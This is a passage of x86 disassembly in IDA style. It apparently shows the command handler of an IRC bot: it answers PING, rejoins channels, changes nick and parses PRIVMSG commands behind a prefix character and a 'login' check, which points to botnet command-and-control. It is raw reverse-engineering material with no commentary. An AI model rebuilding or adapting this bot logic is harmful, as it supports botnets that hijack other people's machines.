var_2A0C	= byte ptr -2A0Ch
var_298C	= dword	ptr -298Ch
var_2988	= dword	ptr -2988h
var_2984	= dword	ptr -2984h
var_2980	= dword	ptr -2980h
var_297C	= dword	ptr -297Ch
var_2978	= byte ptr -2978h
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_27F8	= byte ptr -27F8h
var_2778	= dword	ptr -2778h
var_2774	= dword	ptr -2774h
var_2770	= dword	ptr -2770h
var_276C	= dword	ptr -276Ch
var_2768	= dword	ptr -2768h
var_2764	= byte ptr -2764h
var_26E4	= byte ptr -26E4h
var_2664	= byte ptr -2664h
var_25E4	= byte ptr -25E4h
var_2564	= dword	ptr -2564h
var_2560	= dword	ptr -2560h
var_255C	= dword	ptr -255Ch
var_2558	= dword	ptr -2558h
var_2554	= dword	ptr -2554h
var_2550	= byte ptr -2550h
var_244C	= byte ptr -244Ch
var_2348	= dword	ptr -2348h
var_2344	= dword	ptr -2344h
var_2340	= dword	ptr -2340h
var_233C	= byte ptr -233Ch
var_22BC	= dword	ptr -22BCh
var_22B8	= dword	ptr -22B8h
var_22B4	= dword	ptr -22B4h
var_22B0	= byte ptr -22B0h
var_21AC	= dword	ptr -21ACh
var_21A8	= byte ptr -21A8h
var_2128	= byte ptr -2128h
var_2028	= byte ptr -2028h
var_1F28	= dword	ptr -1F28h
var_1F24	= dword	ptr -1F24h
var_1F20	= dword	ptr -1F20h
var_1F1C	= dword	ptr -1F1Ch
var_1F18	= dword	ptr -1F18h
var_1F14	= dword	ptr -1F14h
var_1F10	= dword	ptr -1F10h
var_1F0C	= dword	ptr -1F0Ch
var_1F08	= dword	ptr -1F08h
var_1F04	= dword	ptr -1F04h
var_1F00	= byte ptr -1F00h
var_1E80	= byte ptr -1E80h
var_1D80	= byte ptr -1D80h
var_1C80	= dword	ptr -1C80h
var_1C7C	= dword	ptr -1C7Ch
var_1C78	= dword	ptr -1C78h
var_1C74	= dword	ptr -1C74h
var_1C70	= dword	ptr -1C70h
var_1C6C	= dword	ptr -1C6Ch
var_1C68	= dword	ptr -1C68h
var_1C64	= dword	ptr -1C64h
var_1C60	= dword	ptr -1C60h
var_1C5C	= dword	ptr -1C5Ch
var_1C58	= byte ptr -1C58h
var_1BD8	= byte ptr -1BD8h
var_1B58	= byte ptr -1B58h
var_1AD8	= dword	ptr -1AD8h
var_1AD4	= dword	ptr -1AD4h
var_1AD0	= dword	ptr -1AD0h
var_1ACC	= dword	ptr -1ACCh
var_1AC8	= dword	ptr -1AC8h
var_1AC4	= byte ptr -1AC4h
var_1A44	= byte ptr -1A44h
var_19C4	= byte ptr -19C4h
var_1944	= dword	ptr -1944h
var_1940	= dword	ptr -1940h
var_193C	= dword	ptr -193Ch
var_1938	= dword	ptr -1938h
var_1934	= dword	ptr -1934h
var_1930	= byte ptr -1930h
var_1830	= byte ptr -1830h
var_17B0	= dword	ptr -17B0h
var_17A8	= dword	ptr -17A8h
var_17A4	= dword	ptr -17A4h
var_17A0	= dword	ptr -17A0h
var_179C	= dword	ptr -179Ch
var_1798	= dword	ptr -1798h
var_1794	= dword	ptr -1794h
var_1790	= byte ptr -1790h
var_1710	= byte ptr -1710h
var_16D0	= byte ptr -16D0h
var_15D0	= dword	ptr -15D0h
var_15CC	= dword	ptr -15CCh
var_15C0	= dword	ptr -15C0h
var_15BC	= dword	ptr -15BCh
var_15B8	= dword	ptr -15B8h
var_15B4	= byte ptr -15B4h
var_157C	= byte ptr -157Ch
var_1560	= byte ptr -1560h
var_1528	= byte ptr -1528h
var_1524	= byte ptr -1524h
var_14A4	= byte ptr -14A4h
var_1464	= byte ptr -1464h
var_13D4	= dword	ptr -13D4h
var_13D0	= dword	ptr -13D0h
var_13CC	= dword	ptr -13CCh
var_13C8	= dword	ptr -13C8h
var_13C4	= dword	ptr -13C4h
var_13C0	= byte ptr -13C0h
var_1340	= byte ptr -1340h
var_12C0	= dword	ptr -12C0h
var_12BC	= dword	ptr -12BCh
var_12B8	= dword	ptr -12B8h
var_12B4	= dword	ptr -12B4h
var_12B0	= byte ptr -12B0h
var_12A0	= byte ptr -12A0h
var_1220	= byte ptr -1220h
var_11A0	= dword	ptr -11A0h
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= byte ptr -1180h
var_1100	= byte ptr -1100h
var_1080	= byte ptr -1080h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE4		= dword	ptr -0FE4h
var_FDC		= byte ptr -0FDCh
var_F5C		= byte ptr -0F5Ch
var_EDC		= dword	ptr -0EDCh
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EBC		= dword	ptr -0EBCh
var_EB8		= byte ptr -0EB8h
var_E38		= byte ptr -0E38h
var_DB8		= dword	ptr -0DB8h
var_DB4		= dword	ptr -0DB4h
var_DB0		= dword	ptr -0DB0h
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= dword	ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= dword	ptr -0D98h
var_D94		= byte ptr -0D94h
var_D14		= dword	ptr -0D14h
var_D10		= dword	ptr -0D10h
var_D0C		= dword	ptr -0D0Ch
var_D08		= dword	ptr -0D08h
var_D04		= byte ptr -0D04h
var_C84		= byte ptr -0C84h
var_C74		= byte ptr -0C74h
var_C54		= dword	ptr -0C54h
var_C50		= byte ptr -0C50h
var_BD0		= byte ptr -0BD0h
var_B50		= dword	ptr -0B50h
var_B4C		= dword	ptr -0B4Ch
var_B48		= dword	ptr -0B48h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 4AE8h
		call	sub_418030
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_417AA0
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E8B
		push	esi
		lea	eax, [ebp+var_39E8]
		push	ebx
		push	eax
		call	sub_417AA0
		dec	esi
		lea	eax, [ebp+var_39E8]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_39E8]
		push	offset asc_42EF60 ; " :"
		push	eax
		call	sub_417E10
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_39E8]
		push	esi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_417B00
		mov	esi, offset asc_42EF5C ; " "
		lea	eax, [ebp+var_3E4C]
		push	esi
		push	eax
		call	sub_4185F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A4], 1Fh


loc_401B9A:				; CODE XREF: sub_401AC7+E7j
		push	esi
		push	ebx
		call	sub_4185F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A4]
		pop	ecx
		jnz	short loc_401B9A
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E8B
		cmp	[ebp+var_8C], ebx
		jz	loc_401E8B
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BE8:				; CODE XREF: sub_401AC7+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C14
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C1C
		cmp	[eax+2], bl
		jnz	short loc_401C1C
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C14:				; CODE XREF: sub_401AC7+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BE8


loc_401C1C:				; CODE XREF: sub_401AC7+12Aj
					; sub_401AC7+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C27
		mov	[ebp+var_8], edi


loc_401C27:				; CODE XREF: sub_401AC7+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C35
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C35:				; CODE XREF: sub_401AC7+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C6F
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_417B00
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_C4]
		push	offset dword_4282F4
		push	eax
		call	sub_4185F4
		add	esp, 20h


loc_401C6F:				; CODE XREF: sub_401AC7+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC0
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D64
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 10h
		jmp	loc_401D64
; ---------------------------------------------------------------------------


loc_401CC0:				; CODE XREF: sub_401AC7+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD1
		push	esi
		push	offset a005	; "005"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD1
		push	esi
		push	offset a302	; "302"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2B
		push	offset a@_6	; "@"
		push	[ebp+var_84]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D64
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_417B00
		add	esp, 0Ch
		jmp	short loc_401D64
; ---------------------------------------------------------------------------


loc_401D2B:				; CODE XREF: sub_401AC7+238j
		push	esi
		push	offset a433	; "433"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D6B
		push	ebx
		push	dword_4250A0
		push	dword_42509C
		push	[ebp+arg_10]
		call	sub_40A19A
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 1Ch


loc_401D64:				; CODE XREF: sub_401AC7+1D8j
					; sub_401AC7+1F4j ...
		mov	eax, edi
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_401D6B:				; CODE XREF: sub_401AC7+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A4], 3
		mov	edi, 80h


loc_401D7D:				; CODE XREF: sub_401AC7+2DBj
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D9A
		mov	[ebp+var_AC], 1


loc_401D9A:				; CODE XREF: sub_401AC7+2C7j
		add	esi, edi
		dec	[ebp+var_A4]
		jnz	short loc_401D7D
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E93
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DC9:				; CODE XREF: sub_401AC7+38Fj
		cmp	[esi], bl
		jz	loc_401E51
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E51
		cmp	[ebp+var_84], ebx
		jz	short loc_401E51
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E51
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42EEFC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		add	esp, 20h


loc_401E51:				; CODE XREF: sub_401AC7+304j
					; sub_401AC7+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DC9
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E8B
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E80:				; CODE XREF: sub_401AC7+60Fj
					; sub_401AC7+84Fj ...
		push	[ebp+arg_4]
		call	sub_408C17


loc_401E88:				; CODE XREF: sub_401AC7+208Bj
					; sub_401AC7+20A8j ...
		add	esp, 10h


loc_401E8B:				; CODE XREF: sub_401AC7+5Bj
					; sub_401AC7+F1j ...
		push	1


loc_401E8D:				; CODE XREF: sub_401AC7+25EFj
		pop	eax


loc_401E8E:				; CODE XREF: sub_401AC7+29Fj
					; sub_401AC7+2611j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E93:				; CODE XREF: sub_401AC7+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FE9
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EBC:				; CODE XREF: sub_401AC7+447j
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F09
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_4184B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F09
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4183B0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4183C0
		add	esp, 10h
		mov	edi, 80h


loc_401F09:				; CODE XREF: sub_401AC7+406j
					; sub_401AC7+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EBC
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E8B
		cmp	[ebp+arg_24], ebx
		jz	loc_401E8B
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F51
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_417B00


loc_401F49:				; CODE XREF: sub_401AC7+186Aj
		add	esp, 0Ch
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_401F51:				; CODE XREF: sub_401AC7+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F56:				; CODE XREF: sub_401AC7+4B0j
		cmp	[edi], bl
		jz	short loc_401F6D
		lea	eax, [ebp+var_D04]
		push	eax
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7E


loc_401F6D:				; CODE XREF: sub_401AC7+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F56
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_401F7E:				; CODE XREF: sub_401AC7+4A4j
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_4184B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E8B
		push	eax
		call	sub_4176F0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_4176F0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E8B
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_3A4C]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 24h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_401FE9:				; CODE XREF: sub_401AC7+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40200B
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402032


loc_40200B:				; CODE XREF: sub_401AC7+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402010:				; CODE XREF: sub_401AC7+569j
		cmp	[edi], bl
		jz	short loc_402026
		push	[ebp+var_90]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40207A


loc_402026:				; CODE XREF: sub_401AC7+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402010


loc_402032:				; CODE XREF: sub_401AC7+542j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020DB
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402066
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402066:				; CODE XREF: sub_401AC7+594j
		push	[ebp+var_80]
		push	offset unk_42EEA8


loc_40206E:				; CODE XREF: sub_401AC7+2421j
					; sub_401AC7+27C2j ...
		call	sub_413BD2
		pop	ecx


loc_402074:				; CODE XREF: sub_401AC7+6D7Bj
		pop	ecx
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_40207A:				; CODE XREF: sub_401AC7+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42EE84
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_418570
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E8B
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E80
; ---------------------------------------------------------------------------


loc_4020DB:				; CODE XREF: sub_401AC7+57Fj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_418570
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40212F
		push	[ebp+var_8C]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40212F
		push	[ebp+var_8C]
		push	offset dword_42EE70
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx


loc_40211D:				; DATA XREF: nsp0:off_4282BCo
		jnz	loc_408A45
		cmp	dword_425088, ebx
		jz	loc_408A45


loc_40212F:				; CODE XREF: sub_401AC7+62Ej
					; sub_401AC7+640j
		push	[ebp+var_8C]
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402232
		push	[ebp+var_8C]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402232
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_A8], esi


loc_402173:				; CODE XREF: sub_401AC7+827j
					; sub_401AC7+863j ...
		shl	esi, 2
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_425094
		mov	[ebp+arg_C], edi
		jnz	loc_401E8B
		push	edi
		push	offset aLogin	; "login"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4D
		push	edi
		push	offset dword_42EE6C
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4D
		cmp	[ebp+var_AC], ebx
		jnz	short loc_4021E6
		push	[ebp+var_8C]
		push	offset dword_42EE70
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408A45


loc_4021E6:				; CODE XREF: sub_401AC7+703j
		cmp	[ebp+arg_28], ebx
		jnz	loc_408A45
		cmp	dword_4276A8, ebx
		mov	[ebp+arg_20], ebx
		jle	loc_4024D1
		mov	[ebp+arg_8], offset dword_43B9C0


loc_402205:				; CODE XREF: sub_401AC7+764j
		push	edi
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40235A
		inc	[ebp+arg_20]
		add	[ebp+arg_8], 0B8h
		mov	eax, [ebp+arg_20]
		cmp	eax, dword_4276A8
		jl	short loc_402205
		jmp	loc_4024D1
; ---------------------------------------------------------------------------


loc_402232:				; CODE XREF: sub_401AC7+678j
					; sub_401AC7+68Ej
		push	[ebp+var_8C]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40224B
		mov	[ebp+var_4], 1


loc_40224B:				; CODE XREF: sub_401AC7+77Bj
		cmp	[ebp+var_88], ebx
		jz	loc_401E8B
		push	offset dword_4282C4
		push	[ebp+var_88]
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402272
		cmp	[ebp+var_4], ebx
		jz	short loc_40227E


loc_402272:				; CODE XREF: sub_401AC7+7A4j
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40227E:				; CODE XREF: sub_401AC7+7A9j
		cmp	[ebp+var_84], ebx
		jz	loc_401E8B
		inc	[ebp+var_84]
		jz	short loc_4022CA
		cmp	[ebp+arg_10], ebx
		jz	short loc_4022CA
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_4176F0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_418370
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_A8], esi
		jmp	short loc_4022D0
; ---------------------------------------------------------------------------


loc_4022CA:				; CODE XREF: sub_401AC7+7C9j
					; sub_401AC7+7CEj
		mov	esi, [ebp+var_A8]


loc_4022D0:				; CODE XREF: sub_401AC7+801j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E8B
		push	edi
		push	offset dword_42EE60
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402173
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40231B
		mov	eax, dword_4C96C4
		mov	eax, off_42515C[eax*4]
		cmp	[eax], bl
		jz	short loc_40231B
		push	eax
		push	ecx
		push	offset dword_42EE44
		jmp	loc_401E80
; ---------------------------------------------------------------------------


loc_40231B:				; CODE XREF: sub_401AC7+836j
					; sub_401AC7+846j
		push	edi
		push	offset dword_42EE3C
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402173
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402173
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402173
		push	eax
		push	ecx
